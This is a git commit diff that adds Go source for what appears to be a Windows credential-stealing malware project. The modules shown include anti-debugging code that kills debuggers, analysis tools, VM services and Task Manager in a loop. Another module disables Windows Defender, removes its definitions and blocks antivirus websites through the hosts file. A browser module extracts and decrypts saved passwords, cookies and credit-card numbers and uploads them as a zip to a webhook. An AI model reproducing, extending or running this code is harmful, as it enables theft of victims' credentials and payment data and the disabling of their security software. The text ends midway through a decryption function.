initial commit
This commit is contained in:
Vendored
BIN
Binary file not shown.
Executable
BIN
Binary file not shown.
Executable
BIN
Binary file not shown.
Executable
BIN
Binary file not shown.
Executable
BIN
Binary file not shown.
Executable
BIN
Binary file not shown.
Binary file not shown.
@@ -0,0 +1,148 @@
|
||||
package antidebug
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"os"
|
||||
"strings"
|
||||
"syscall"
|
||||
"unsafe"
|
||||
|
||||
"github.com/shirou/gopsutil/v3/process"
|
||||
)
|
||||
|
||||
var (
|
||||
user32DLL = syscall.NewLazyDLL("user32.dll")
|
||||
enumWindowsProc = user32DLL.NewProc("EnumWindows")
|
||||
getWindowText = user32DLL.NewProc("GetWindowTextA")
|
||||
getWindowThread = user32DLL.NewProc("GetWindowThreadProcessId")
|
||||
|
||||
kernel32DLL = syscall.NewLazyDLL("kernel32.dll")
|
||||
isDebugger = kernel32DLL.NewProc("IsDebuggerPresent")
|
||||
debugString = kernel32DLL.NewProc("OutputDebugStringA")
|
||||
procOpenProcess = kernel32DLL.NewProc("OpenProcess")
|
||||
procTerminateProcess = kernel32DLL.NewProc("TerminateProcess")
|
||||
)
|
||||
|
||||
func terminateProcess(pid uint32) error {
|
||||
handle, _, _ := procOpenProcess.Call(syscall.PROCESS_TERMINATE, 0, uintptr(pid))
|
||||
if handle == 0 {
|
||||
return fmt.Errorf("failed to open process")
|
||||
}
|
||||
defer syscall.CloseHandle(syscall.Handle(handle))
|
||||
|
||||
ret, _, _ := procTerminateProcess.Call(handle, 0)
|
||||
if ret == 0 {
|
||||
return fmt.Errorf("failed to terminate process")
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
func KillProcessesByNames(blacklist []string) error {
|
||||
processes, _ := process.Processes()
|
||||
|
||||
for _, p := range processes {
|
||||
processName, _ := p.Name()
|
||||
|
||||
if contains(blacklist, processName) {
|
||||
terminateProcess(uint32(p.Pid))
|
||||
}
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
func getCallback(blacklist []string) uintptr {
|
||||
return syscall.NewCallback(func(hwnd syscall.Handle, lparam uintptr) uintptr {
|
||||
var title [256]byte
|
||||
|
||||
getWindowText.Call(uintptr(hwnd), uintptr(unsafe.Pointer(&title)), uintptr(len(title)))
|
||||
|
||||
titleStr := string(title[:])
|
||||
|
||||
if titleStr == "" {
|
||||
return 1
|
||||
}
|
||||
|
||||
if contains(blacklist, titleStr) {
|
||||
var pid uint32
|
||||
getWindowThread.Call(uintptr(hwnd), uintptr(unsafe.Pointer(&pid)))
|
||||
|
||||
terminateProcess(pid)
|
||||
|
||||
}
|
||||
return 1
|
||||
})
|
||||
}
|
||||
|
||||
func KillProcessesByWindowsNames(callback uintptr) error {
|
||||
enumWindowsProc.Call(callback, 0)
|
||||
return nil
|
||||
}
|
||||
|
||||
func IsDebuggerPresent() bool {
|
||||
flag, _, _ := isDebugger.Call()
|
||||
return flag != 0
|
||||
}
|
||||
|
||||
func outputDebugString(message string) {
|
||||
debugString.Call(uintptr(unsafe.Pointer(syscall.StringToUTF16Ptr(message))))
|
||||
}
|
||||
|
||||
func OutputDebugStringAntiDebug() {
|
||||
outputDebugString("hm")
|
||||
}
|
||||
|
||||
func OutputDebugStringOllyDbgExploit() {
|
||||
outputDebugString("%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s")
|
||||
}
|
||||
|
||||
func contains(slice []string, processName string) bool {
|
||||
processName = strings.ToLower(processName)
|
||||
|
||||
for _, s := range slice {
|
||||
if strings.Contains(processName, s) {
|
||||
return true
|
||||
}
|
||||
}
|
||||
|
||||
return false
|
||||
}
|
||||
|
||||
func Run() {
|
||||
if IsDebuggerPresent() {
|
||||
os.Exit(0)
|
||||
}
|
||||
|
||||
blacklist := []string{
|
||||
"ksdumperclient", "regedit", "ida64", "vmtoolsd", "vgauthservice",
|
||||
"wireshark", "x32dbg", "ollydbg", "vboxtray", "df5serv", "vmsrvc",
|
||||
"vmusrvc", "taskmgr", "vmwaretray", "xenservice", "pestudio", "vmwareservice",
|
||||
"qemu-ga", "prl_cc", "prl_tools", "cmd",
|
||||
"joeboxcontrol", "vmacthlp", "httpdebuggerui", "processhacker",
|
||||
"joeboxserver", "fakenet", "ksdumper", "vmwareuser", "fiddler",
|
||||
"x96dbg", "dumpcap", "vboxservice",
|
||||
}
|
||||
|
||||
callback := getCallback([]string{
|
||||
"simpleassemblyexplorer", "dojandqwklndoqwd", "procmon64", "process hacker",
|
||||
"sharpod", "http debugger", "dbgclr", "x32dbg", "sniffer", "petools",
|
||||
"simpleassembly", "ksdumper", "dnspy", "x96dbg", "de4dot", "exeinfope",
|
||||
"windbg", "mdb", "harmony", "systemexplorerservice", "megadumper",
|
||||
"system explorer", "mdbg", "kdb", "charles", "stringdecryptor", "phantom",
|
||||
"debugger", "extremedumper", "pc-ret", "folderchangesview", "james",
|
||||
"process monitor", "protection_id", "de4dotmodded", "x32_dbg", "pizza", "fiddler",
|
||||
"x64_dbg", "httpanalyzer", "strongod", "wireshark", "gdb", "graywolf", "x64dbg",
|
||||
"ksdumper v1.1 - by equifox", "wpe pro", "ilspy", "dbx", "ollydbg", "x64netdumper",
|
||||
"scyllahide", "kgdb", "systemexplorer", "proxifier", "debug", "httpdebug",
|
||||
"httpdebugger", "0harmony", "mitmproxy", "ida -",
|
||||
"codecracker", "ghidra", "titanhide", "hxd", "reversal",
|
||||
})
|
||||
|
||||
for {
|
||||
OutputDebugStringAntiDebug()
|
||||
OutputDebugStringOllyDbgExploit()
|
||||
|
||||
KillProcessesByNames(blacklist)
|
||||
KillProcessesByWindowsNames(callback)
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,139 @@
|
||||
package antivirus
|
||||
|
||||
import (
|
||||
"errors"
|
||||
"fmt"
|
||||
"os"
|
||||
"os/exec"
|
||||
"path/filepath"
|
||||
"syscall"
|
||||
|
||||
"strings"
|
||||
|
||||
"github.com/hackirby/skuld/utils/program"
|
||||
)
|
||||
|
||||
func Run() {
|
||||
sites := []string{
|
||||
"virustotal.com",
|
||||
"avast.com",
|
||||
"totalav.com",
|
||||
"scanguard.com",
|
||||
"totaladblock.com",
|
||||
"pcprotect.com",
|
||||
"mcafee.com",
|
||||
"bitdefender.com",
|
||||
"us.norton.com",
|
||||
"avg.com",
|
||||
"malwarebytes.com",
|
||||
"pandasecurity.com",
|
||||
"avira.com",
|
||||
"norton.com",
|
||||
"eset.com",
|
||||
"zillya.com",
|
||||
"kaspersky.com",
|
||||
"usa.kaspersky.com",
|
||||
"sophos.com",
|
||||
"home.sophos.com",
|
||||
"adaware.com",
|
||||
"bullguard.com",
|
||||
"clamav.net",
|
||||
"drweb.com",
|
||||
"emsisoft.com",
|
||||
"f-secure.com",
|
||||
"zonealarm.com",
|
||||
"trendmicro.com",
|
||||
"ccleaner.com",
|
||||
}
|
||||
|
||||
ExcludeFromDefender()
|
||||
DisableDefender()
|
||||
BlockSites(sites)
|
||||
}
|
||||
|
||||
func ExcludeFromDefender() error {
|
||||
if !program.IsElevated() {
|
||||
return errors.New("not elevated")
|
||||
}
|
||||
path, err := os.Executable()
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
cmd := exec.Command("powershell", "-Command", "Add-MpPreference", "-ExclusionPath", path)
|
||||
cmd.SysProcAttr = &syscall.SysProcAttr{HideWindow: true}
|
||||
return cmd.Run()
|
||||
}
|
||||
|
||||
func DisableDefender() error {
|
||||
if !program.IsElevated() {
|
||||
return errors.New("not elevated")
|
||||
}
|
||||
|
||||
cmd := exec.Command("powershell", "Set-MpPreference", "-DisableIntrusionPreventionSystem", "$true", "-DisableIOAVProtection", "$true", "-DisableRealtimeMonitoring", "$true", "-DisableScriptScanning", "$true", "-EnableControlledFolderAccess", "Disabled", "-EnableNetworkProtection", "AuditMode", "-Force", "-MAPSReporting", "Disabled", "-SubmitSamplesConsent", "NeverSend")
|
||||
cmd.SysProcAttr = &syscall.SysProcAttr{HideWindow: true}
|
||||
|
||||
_, err := cmd.Output()
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
cmd = exec.Command("powershell", "Set-MpPreference", "-SubmitSamplesConsent", "2")
|
||||
cmd.SysProcAttr = &syscall.SysProcAttr{HideWindow: true}
|
||||
|
||||
_, err = cmd.Output()
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
cmd = exec.Command("cmd", "/c", fmt.Sprintf("%s\\Windows Defender\\MpCmdRun.exe", os.Getenv("ProgramFiles")), "-RemoveDefinitions", "-All")
|
||||
cmd.SysProcAttr = &syscall.SysProcAttr{HideWindow: true}
|
||||
|
||||
return cmd.Run()
|
||||
}
|
||||
|
||||
func BlockSites(sites []string) error {
|
||||
if !program.IsElevated() {
|
||||
return errors.New("not elevated")
|
||||
}
|
||||
|
||||
hostFilePath := filepath.Join(os.Getenv("systemroot"), "System32\\drivers\\etc\\hosts")
|
||||
|
||||
data, err := os.ReadFile(hostFilePath)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
var newData []string
|
||||
for _, line := range strings.Split(string(data), "\n") {
|
||||
for _, bannedSite := range sites {
|
||||
if strings.Contains(line, bannedSite) {
|
||||
continue
|
||||
}
|
||||
}
|
||||
newData = append(newData, line)
|
||||
}
|
||||
|
||||
for _, bannedSite := range sites {
|
||||
newData = append(newData, "0.0.0.0 "+bannedSite)
|
||||
newData = append(newData, "0.0.0.0 www."+bannedSite)
|
||||
}
|
||||
|
||||
d := strings.Join(newData, "\n")
|
||||
d = strings.ReplaceAll(d, "\n\n", "\n")
|
||||
|
||||
cmd := exec.Command("attrib", "-r", hostFilePath)
|
||||
cmd.SysProcAttr = &syscall.SysProcAttr{HideWindow: true}
|
||||
|
||||
if err = cmd.Run(); err != nil {
|
||||
return err
|
||||
}
|
||||
if err = os.WriteFile(hostFilePath, []byte(d), 0644); err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
cmd = exec.Command("attrib", "+r", hostFilePath)
|
||||
cmd.SysProcAttr = &syscall.SysProcAttr{HideWindow: true}
|
||||
|
||||
return cmd.Run()
|
||||
}
|
||||
File diff suppressed because one or more lines are too long
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
@@ -0,0 +1,222 @@
|
||||
package browsers
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"github.com/hackirby/skuld/utils/fileutil"
|
||||
"github.com/hackirby/skuld/utils/hardware"
|
||||
"github.com/hackirby/skuld/utils/requests"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
)
|
||||
|
||||
func ChromiumSteal() []Profile {
|
||||
var prof []Profile
|
||||
for _, user := range hardware.GetUsers() {
|
||||
for name, path := range GetChromiumBrowsers() {
|
||||
path = filepath.Join(user, path)
|
||||
if !fileutil.IsDir(path) {
|
||||
continue
|
||||
}
|
||||
|
||||
browser := Browser{
|
||||
Name: name,
|
||||
Path: path,
|
||||
User: strings.Split(user, "\\")[2],
|
||||
}
|
||||
|
||||
var profilesPaths []Profile
|
||||
if strings.Contains(path, "Opera") {
|
||||
profilesPaths = append(profilesPaths, Profile{
|
||||
Name: "Default",
|
||||
Path: browser.Path,
|
||||
Browser: browser,
|
||||
})
|
||||
|
||||
} else {
|
||||
folders, err := os.ReadDir(path)
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
for _, folder := range folders {
|
||||
if folder.IsDir() {
|
||||
dir := filepath.Join(path, folder.Name())
|
||||
if fileutil.Exists(filepath.Join(dir, "Web Data")) {
|
||||
profilesPaths = append(profilesPaths, Profile{
|
||||
Name: folder.Name(),
|
||||
Path: dir,
|
||||
Browser: browser,
|
||||
})
|
||||
}
|
||||
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
if len(profilesPaths) == 0 {
|
||||
continue
|
||||
}
|
||||
|
||||
c := Chromium{}
|
||||
err := c.GetMasterKey(path)
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
for _, profile := range profilesPaths {
|
||||
profile.Logins, _ = c.GetLogins(profile.Path)
|
||||
profile.Cookies, _ = c.GetCookies(profile.Path)
|
||||
profile.CreditCards, _ = c.GetCreditCards(profile.Path)
|
||||
profile.Downloads, _ = c.GetDownloads(profile.Path)
|
||||
profile.History, _ = c.GetHistory(profile.Path)
|
||||
prof = append(prof, profile)
|
||||
}
|
||||
|
||||
}
|
||||
}
|
||||
return prof
|
||||
}
|
||||
|
||||
func GeckoSteal() []Profile {
|
||||
var prof []Profile
|
||||
for _, user := range hardware.GetUsers() {
|
||||
for name, path := range GetGeckoBrowsers() {
|
||||
path = filepath.Join(user, path)
|
||||
if !fileutil.IsDir(path) {
|
||||
continue
|
||||
}
|
||||
|
||||
browser := Browser{
|
||||
Name: name,
|
||||
Path: path,
|
||||
User: strings.Split(user, "\\")[2],
|
||||
}
|
||||
|
||||
var profilesPaths []Profile
|
||||
|
||||
profiles, err := os.ReadDir(path)
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
for _, profile := range profiles {
|
||||
if !profile.IsDir() {
|
||||
continue
|
||||
}
|
||||
dir := filepath.Join(path, profile.Name())
|
||||
files, err := os.ReadDir(dir)
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
if len(files) <= 10 {
|
||||
continue
|
||||
}
|
||||
|
||||
profilesPaths = append(profilesPaths, Profile{
|
||||
Name: profile.Name(),
|
||||
Path: dir,
|
||||
Browser: browser,
|
||||
})
|
||||
}
|
||||
|
||||
if len(profilesPaths) == 0 {
|
||||
continue
|
||||
}
|
||||
|
||||
for _, profile := range profilesPaths {
|
||||
g := Gecko{}
|
||||
g.GetMasterKey(profile.Path)
|
||||
profile.Logins, _ = g.GetLogins(profile.Path)
|
||||
profile.Cookies, _ = g.GetCookies(profile.Path)
|
||||
profile.Downloads, _ = g.GetDownloads(profile.Path)
|
||||
profile.History, _ = g.GetHistory(profile.Path)
|
||||
prof = append(prof, profile)
|
||||
}
|
||||
|
||||
}
|
||||
}
|
||||
return prof
|
||||
}
|
||||
|
||||
func Run(webhook string) {
|
||||
tempDir := filepath.Join(os.TempDir(), "browsers-temp")
|
||||
os.MkdirAll(tempDir, os.ModePerm)
|
||||
|
||||
defer os.RemoveAll(tempDir)
|
||||
|
||||
var profiles []Profile
|
||||
profiles = append(profiles, ChromiumSteal()...)
|
||||
profiles = append(profiles, GeckoSteal()...)
|
||||
|
||||
if len(profiles) == 0 {
|
||||
return
|
||||
}
|
||||
|
||||
for _, profile := range profiles {
|
||||
if len(profile.Logins) == 0 && len(profile.Cookies) == 0 && len(profile.CreditCards) == 0 && len(profile.Downloads) == 0 && len(profile.History) == 0 {
|
||||
continue
|
||||
}
|
||||
os.MkdirAll(filepath.Join(tempDir, profile.Browser.User, profile.Browser.Name, profile.Name), os.ModePerm)
|
||||
|
||||
if len(profile.Logins) > 0 {
|
||||
fileutil.AppendFile(filepath.Join(tempDir, profile.Browser.User, profile.Browser.Name, profile.Name, "logins.txt"), fmt.Sprintf("%-50s %-50s %-50s", "URL", "Username", "Password"))
|
||||
for _, login := range profile.Logins {
|
||||
fileutil.AppendFile(fmt.Sprintf("%s\\%s\\%s\\%s\\logins.txt", tempDir, profile.Browser.User, profile.Browser.Name, profile.Name), fmt.Sprintf("%-50s %-50s %-50s", login.LoginURL, login.Username, login.Password))
|
||||
}
|
||||
}
|
||||
|
||||
if len(profile.Cookies) > 0 {
|
||||
for _, cookie := range profile.Cookies {
|
||||
var expires string
|
||||
if cookie.ExpireDate == 0 {
|
||||
expires = "FALSE"
|
||||
} else {
|
||||
expires = "TRUE"
|
||||
}
|
||||
|
||||
var host string
|
||||
if strings.HasPrefix(cookie.Host, ".") {
|
||||
host = "FALSE"
|
||||
} else {
|
||||
host = "TRUE"
|
||||
}
|
||||
|
||||
fileutil.AppendFile(filepath.Join(tempDir, profile.Browser.User, profile.Browser.Name, profile.Name, "cookies.txt"), fmt.Sprintf("%s\t%s\t%s\t%s\t%d\t%s\t%s", cookie.Host, expires, cookie.Path, host, cookie.ExpireDate, cookie.Name, cookie.Value))
|
||||
}
|
||||
}
|
||||
|
||||
if len(profile.CreditCards) > 0 {
|
||||
fileutil.AppendFile(filepath.Join(tempDir, profile.Browser.User, profile.Browser.Name, profile.Name, "credit_cards.txt"), fmt.Sprintf("%-30s %-30s %-30s %-30s %-30s", "Number", "Expiration Month", "Expiration Year", "Name", "Address"))
|
||||
for _, cc := range profile.CreditCards {
|
||||
fileutil.AppendFile(filepath.Join(tempDir, profile.Browser.User, profile.Browser.Name, profile.Name, "credit_cards.txt"), fmt.Sprintf("%-30s %-30s %-30s %-30s %-30s", cc.Number, cc.ExpirationMonth, cc.ExpirationYear, cc.Name, cc.Address))
|
||||
}
|
||||
}
|
||||
|
||||
if len(profile.Downloads) > 0 {
|
||||
fileutil.AppendFile(filepath.Join(tempDir, profile.Browser.User, profile.Browser.Name, profile.Name, "downloads.txt"), fmt.Sprintf("%-70s %-70s", "Target Path", "URL"))
|
||||
for _, download := range profile.Downloads {
|
||||
fileutil.AppendFile(filepath.Join(tempDir, profile.Browser.User, profile.Browser.Name, profile.Name, "downloads.txt"), fmt.Sprintf("%-70s %-70s", download.TargetPath, download.URL))
|
||||
}
|
||||
}
|
||||
|
||||
if len(profile.History) > 0 {
|
||||
fileutil.AppendFile(filepath.Join(tempDir, profile.Browser.User, profile.Browser.Name, profile.Name, "history.txt"), fmt.Sprintf("%-70s %-70s", "Title", "URL"))
|
||||
for _, history := range profile.History {
|
||||
fileutil.AppendFile(filepath.Join(tempDir, profile.Browser.User, profile.Browser.Name, profile.Name, "history.txt"), fmt.Sprintf("%-70s %-70s", history.Title, history.URL))
|
||||
}
|
||||
}
|
||||
|
||||
}
|
||||
tempZip := filepath.Join(os.TempDir(), "browsers.zip")
|
||||
if err := fileutil.Zip(tempDir, tempZip); err != nil {
|
||||
return
|
||||
}
|
||||
defer os.Remove(tempZip)
|
||||
|
||||
requests.Webhook(webhook, map[string]interface{}{
|
||||
"embeds": []map[string]interface{}{
|
||||
{
|
||||
"title": "Browsers",
|
||||
"description": fmt.Sprintf("```%s```", fileutil.Tree(tempDir, "")),
|
||||
},
|
||||
},
|
||||
}, tempZip)
|
||||
}
|
||||
@@ -0,0 +1,17 @@
|
||||
package browsers
|
||||
|
||||
import (
|
||||
"database/sql"
|
||||
"fmt"
|
||||
|
||||
_ "modernc.org/sqlite"
|
||||
)
|
||||
|
||||
func GetDBConnection(database string) (*sql.DB, error) {
|
||||
connection, err := sql.Open("sqlite", fmt.Sprintf("file:%s?mode=ro&immutable=1", database))
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
return connection, nil
|
||||
}
|
||||
@@ -0,0 +1,91 @@
|
||||
package browsers
|
||||
|
||||
import (
|
||||
"path/filepath"
|
||||
|
||||
_ "modernc.org/sqlite"
|
||||
)
|
||||
|
||||
func (c *Chromium) GetCookies(path string) (cookies []Cookie, err error) {
|
||||
db, err := GetDBConnection(filepath.Join(path, "Network", "Cookies"))
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
rows, err := db.Query("SELECT name, encrypted_value, host_key, path, expires_utc FROM cookies")
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
defer rows.Close()
|
||||
|
||||
for rows.Next() {
|
||||
var (
|
||||
name, host, path string
|
||||
encryptedValue, value []byte
|
||||
expiresUtc int64
|
||||
)
|
||||
if err = rows.Scan(&name, &encryptedValue, &host, &path, &expiresUtc); err != nil {
|
||||
continue
|
||||
}
|
||||
|
||||
if name == "" || host == "" || path == "" || encryptedValue == nil {
|
||||
continue
|
||||
}
|
||||
|
||||
cookie := Cookie{
|
||||
Name: name,
|
||||
Host: host,
|
||||
Path: path,
|
||||
ExpireDate: expiresUtc,
|
||||
}
|
||||
|
||||
value, err = c.Decrypt(encryptedValue)
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
cookie.Value = string(value)
|
||||
cookies = append(cookies, cookie)
|
||||
}
|
||||
|
||||
return cookies, nil
|
||||
}
|
||||
|
||||
func (g *Gecko) GetCookies(path string) (cookies []Cookie, err error) {
|
||||
db, err := GetDBConnection(filepath.Join(path, "cookies.sqlite"))
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
rows, err := db.Query("SELECT name, value, host, path, expiry FROM moz_cookies")
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
defer rows.Close()
|
||||
|
||||
for rows.Next() {
|
||||
var (
|
||||
name, host, path string
|
||||
value []byte
|
||||
expiry int64
|
||||
)
|
||||
if err = rows.Scan(&name, &value, &host, &path, &expiry); err != nil {
|
||||
continue
|
||||
}
|
||||
|
||||
if name == "" || host == "" || path == "" || value == nil {
|
||||
continue
|
||||
}
|
||||
|
||||
cookie := Cookie{
|
||||
Name: name,
|
||||
Host: host,
|
||||
Path: path,
|
||||
ExpireDate: expiry,
|
||||
Value: string(value),
|
||||
}
|
||||
cookies = append(cookies, cookie)
|
||||
}
|
||||
|
||||
return cookies, nil
|
||||
}
|
||||
@@ -0,0 +1,52 @@
|
||||
package browsers
|
||||
|
||||
import (
|
||||
"path/filepath"
|
||||
|
||||
_ "modernc.org/sqlite"
|
||||
)
|
||||
|
||||
func (c *Chromium) GetCreditCards(path string) (creditCards []CreditCard, err error) {
|
||||
db, err := GetDBConnection(filepath.Join(path, "Web Data"))
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
rows, err := db.Query("SELECT name_on_card, expiration_month, expiration_year, card_number_encrypted, billing_address_id FROM credit_cards")
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
defer rows.Close()
|
||||
|
||||
for rows.Next() {
|
||||
|
||||
var (
|
||||
name, month, year, address string
|
||||
value, encryptValue []byte
|
||||
)
|
||||
if err := rows.Scan(&name, &month, &year, &encryptValue, &address); err != nil {
|
||||
continue
|
||||
}
|
||||
if month == "" || year == "" || encryptValue == nil {
|
||||
continue
|
||||
}
|
||||
|
||||
creditCard := CreditCard{
|
||||
Name: name,
|
||||
ExpirationYear: year,
|
||||
ExpirationMonth: month,
|
||||
Address: address,
|
||||
}
|
||||
|
||||
value, err = c.Decrypt(encryptValue)
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
|
||||
creditCard.Number = string(value)
|
||||
creditCards = append(creditCards, creditCard)
|
||||
}
|
||||
|
||||
return creditCards, nil
|
||||
}
|
||||
@@ -0,0 +1,232 @@
|
||||
package browsers
|
||||
|
||||
import (
|
||||
"crypto/aes"
|
||||
"crypto/cipher"
|
||||
"crypto/des"
|
||||
"crypto/hmac"
|
||||
"crypto/sha1"
|
||||
"crypto/sha256"
|
||||
"encoding/asn1"
|
||||
"errors"
|
||||
"syscall"
|
||||
"unsafe"
|
||||
|
||||
"golang.org/x/crypto/pbkdf2"
|
||||
)
|
||||
|
||||
func DPAPI(encryptPass []byte) ([]byte, error) {
|
||||
dllCrypt := syscall.NewLazyDLL("Crypt32.dll")
|
||||
dllKernel := syscall.NewLazyDLL("Kernel32.dll")
|
||||
procDecryptData := dllCrypt.NewProc("CryptUnprotectData")
|
||||
procLocalFree := dllKernel.NewProc("LocalFree")
|
||||
|
||||
type dataBlob struct {
|
||||
cbData uint32
|
||||
pbData *byte
|
||||
}
|
||||
|
||||
var outBlob dataBlob
|
||||
var newBlob *dataBlob
|
||||
|
||||
if len(encryptPass) == 0 {
|
||||
newBlob = &dataBlob{}
|
||||
}
|
||||
newBlob = &dataBlob{
|
||||
pbData: &encryptPass[0],
|
||||
cbData: uint32(len(encryptPass)),
|
||||
}
|
||||
r, _, err := procDecryptData.Call(uintptr(unsafe.Pointer(newBlob)), 0, 0, 0, 0, 0, uintptr(unsafe.Pointer(&outBlob)))
|
||||
if r == 0 {
|
||||
return nil, err
|
||||
}
|
||||
defer procLocalFree.Call(uintptr(unsafe.Pointer(outBlob.pbData)))
|
||||
d := make([]byte, outBlob.cbData)
|
||||
copy(d, (*[1 << 30]byte)(unsafe.Pointer(outBlob.pbData))[:])
|
||||
return d, nil
|
||||
}
|
||||
|
||||
type ASN1PBE interface {
|
||||
Decrypt(globalSalt, masterPwd []byte) (key []byte, err error)
|
||||
}
|
||||
|
||||
func NewASN1PBE(b []byte) (pbe ASN1PBE, err error) {
|
||||
var (
|
||||
n nssPBE
|
||||
m metaPBE
|
||||
l loginPBE
|
||||
)
|
||||
if _, err := asn1.Unmarshal(b, &n); err == nil {
|
||||
return n, nil
|
||||
}
|
||||
if _, err := asn1.Unmarshal(b, &m); err == nil {
|
||||
return m, nil
|
||||
}
|
||||
if _, err := asn1.Unmarshal(b, &l); err == nil {
|
||||
return l, nil
|
||||
}
|
||||
return nil, errors.New("decode ASN1 data failed")
|
||||
}
|
||||
|
||||
type nssPBE struct {
|
||||
AlgoAttr struct {
|
||||
asn1.ObjectIdentifier
|
||||
SaltAttr struct {
|
||||
EntrySalt []byte
|
||||
Len int
|
||||
}
|
||||
}
|
||||
Encrypted []byte
|
||||
}
|
||||
|
||||
func (n nssPBE) Decrypt(globalSalt, masterPwd []byte) (key []byte, err error) {
|
||||
hp := sha1.Sum(append(globalSalt, masterPwd...))
|
||||
s := append(hp[:], n.salt()...)
|
||||
chp := sha1.Sum(s)
|
||||
pes := paddingZero(n.salt(), 20)
|
||||
tk := hmac.New(sha1.New, chp[:])
|
||||
tk.Write(pes)
|
||||
pes = append(pes, n.salt()...)
|
||||
k1 := hmac.New(sha1.New, chp[:])
|
||||
k1.Write(pes)
|
||||
tkPlus := append(tk.Sum(nil), n.salt()...)
|
||||
k2 := hmac.New(sha1.New, chp[:])
|
||||
k2.Write(tkPlus)
|
||||
k := append(k1.Sum(nil), k2.Sum(nil)...)
|
||||
iv := k[len(k)-8:]
|
||||
return des3Decrypt(k[:24], iv, n.encrypted())
|
||||
}
|
||||
|
||||
func (n nssPBE) salt() []byte {
|
||||
return n.AlgoAttr.SaltAttr.EntrySalt
|
||||
}
|
||||
|
||||
func (n nssPBE) encrypted() []byte {
|
||||
return n.Encrypted
|
||||
}
|
||||
|
||||
type metaPBE struct {
|
||||
AlgoAttr algoAttr
|
||||
Encrypted []byte
|
||||
}
|
||||
|
||||
type algoAttr struct {
|
||||
asn1.ObjectIdentifier
|
||||
Data struct {
|
||||
Data struct {
|
||||
asn1.ObjectIdentifier
|
||||
SlatAttr slatAttr
|
||||
}
|
||||
IVData ivAttr
|
||||
}
|
||||
}
|
||||
|
||||
type ivAttr struct {
|
||||
asn1.ObjectIdentifier
|
||||
IV []byte
|
||||
}
|
||||
|
||||
type slatAttr struct {
|
||||
EntrySalt []byte
|
||||
IterationCount int
|
||||
KeySize int
|
||||
Algorithm struct {
|
||||
asn1.ObjectIdentifier
|
||||
}
|
||||
}
|
||||
|
||||
func (m metaPBE) Decrypt(globalSalt, _ []byte) (key2 []byte, err error) {
|
||||
k := sha1.Sum(globalSalt)
|
||||
key := pbkdf2.Key(k[:], m.salt(), m.iterationCount(), m.keySize(), sha256.New)
|
||||
iv := append([]byte{4, 14}, m.iv()...)
|
||||
return aes128CBCDecrypt(key, iv, m.encrypted())
|
||||
}
|
||||
|
||||
func (m metaPBE) salt() []byte {
|
||||
return m.AlgoAttr.Data.Data.SlatAttr.EntrySalt
|
||||
}
|
||||
|
||||
func (m metaPBE) iterationCount() int {
|
||||
return m.AlgoAttr.Data.Data.SlatAttr.IterationCount
|
||||
}
|
||||
|
||||
func (m metaPBE) keySize() int {
|
||||
return m.AlgoAttr.Data.Data.SlatAttr.KeySize
|
||||
}
|
||||
|
||||
func (m metaPBE) iv() []byte {
|
||||
return m.AlgoAttr.Data.IVData.IV
|
||||
}
|
||||
|
||||
func (m metaPBE) encrypted() []byte {
|
||||
return m.Encrypted
|
||||
}
|
||||
|
||||
type loginPBE struct {
|
||||
CipherText []byte
|
||||
Data struct {
|
||||
asn1.ObjectIdentifier
|
||||
IV []byte
|
||||
}
|
||||
Encrypted []byte
|
||||
}
|
||||
|
||||
func (l loginPBE) Decrypt(globalSalt, _ []byte) (key []byte, err error) {
|
||||
return des3Decrypt(globalSalt, l.iv(), l.encrypted())
|
||||
}
|
||||
|
||||
func (l loginPBE) iv() []byte {
|
||||
return l.Data.IV
|
||||
}
|
||||
|
||||
func (l loginPBE) encrypted() []byte {
|
||||
return l.Encrypted
|
||||
}
|
||||
|
||||
func aes128CBCDecrypt(key, iv, encryptPass []byte) ([]byte, error) {
|
||||
block, err := aes.NewCipher(key)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
encryptLen := len(encryptPass)
|
||||
if encryptLen < block.BlockSize() {
|
||||
return nil, errors.New("length of encrypted password less than block size")
|
||||
}
|
||||
|
||||
dst := make([]byte, encryptLen)
|
||||
mode := cipher.NewCBCDecrypter(block, iv)
|
||||
mode.CryptBlocks(dst, encryptPass)
|
||||
dst = pkcs5UnPadding(dst, block.BlockSize())
|
||||
return dst, nil
|
||||
}
|
||||
|
||||
func pkcs5UnPadding(src []byte, blockSize int) []byte {
|
||||
n := len(src)
|
||||
paddingNum := int(src[n-1])
|
||||
if n < paddingNum || paddingNum > blockSize {
|
||||
return src
|
||||
}
|
||||
return src[:n-paddingNum]
|
||||
}
|
||||
|
||||
func des3Decrypt(key, iv []byte, src []byte) ([]byte, error) {
|
||||
block, err := des.NewTripleDESCipher(key)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
blockMode := cipher.NewCBCDecrypter(block, iv)
|
||||
sq := make([]byte, len(src))
|
||||
blockMode.CryptBlocks(sq, src)
|
||||
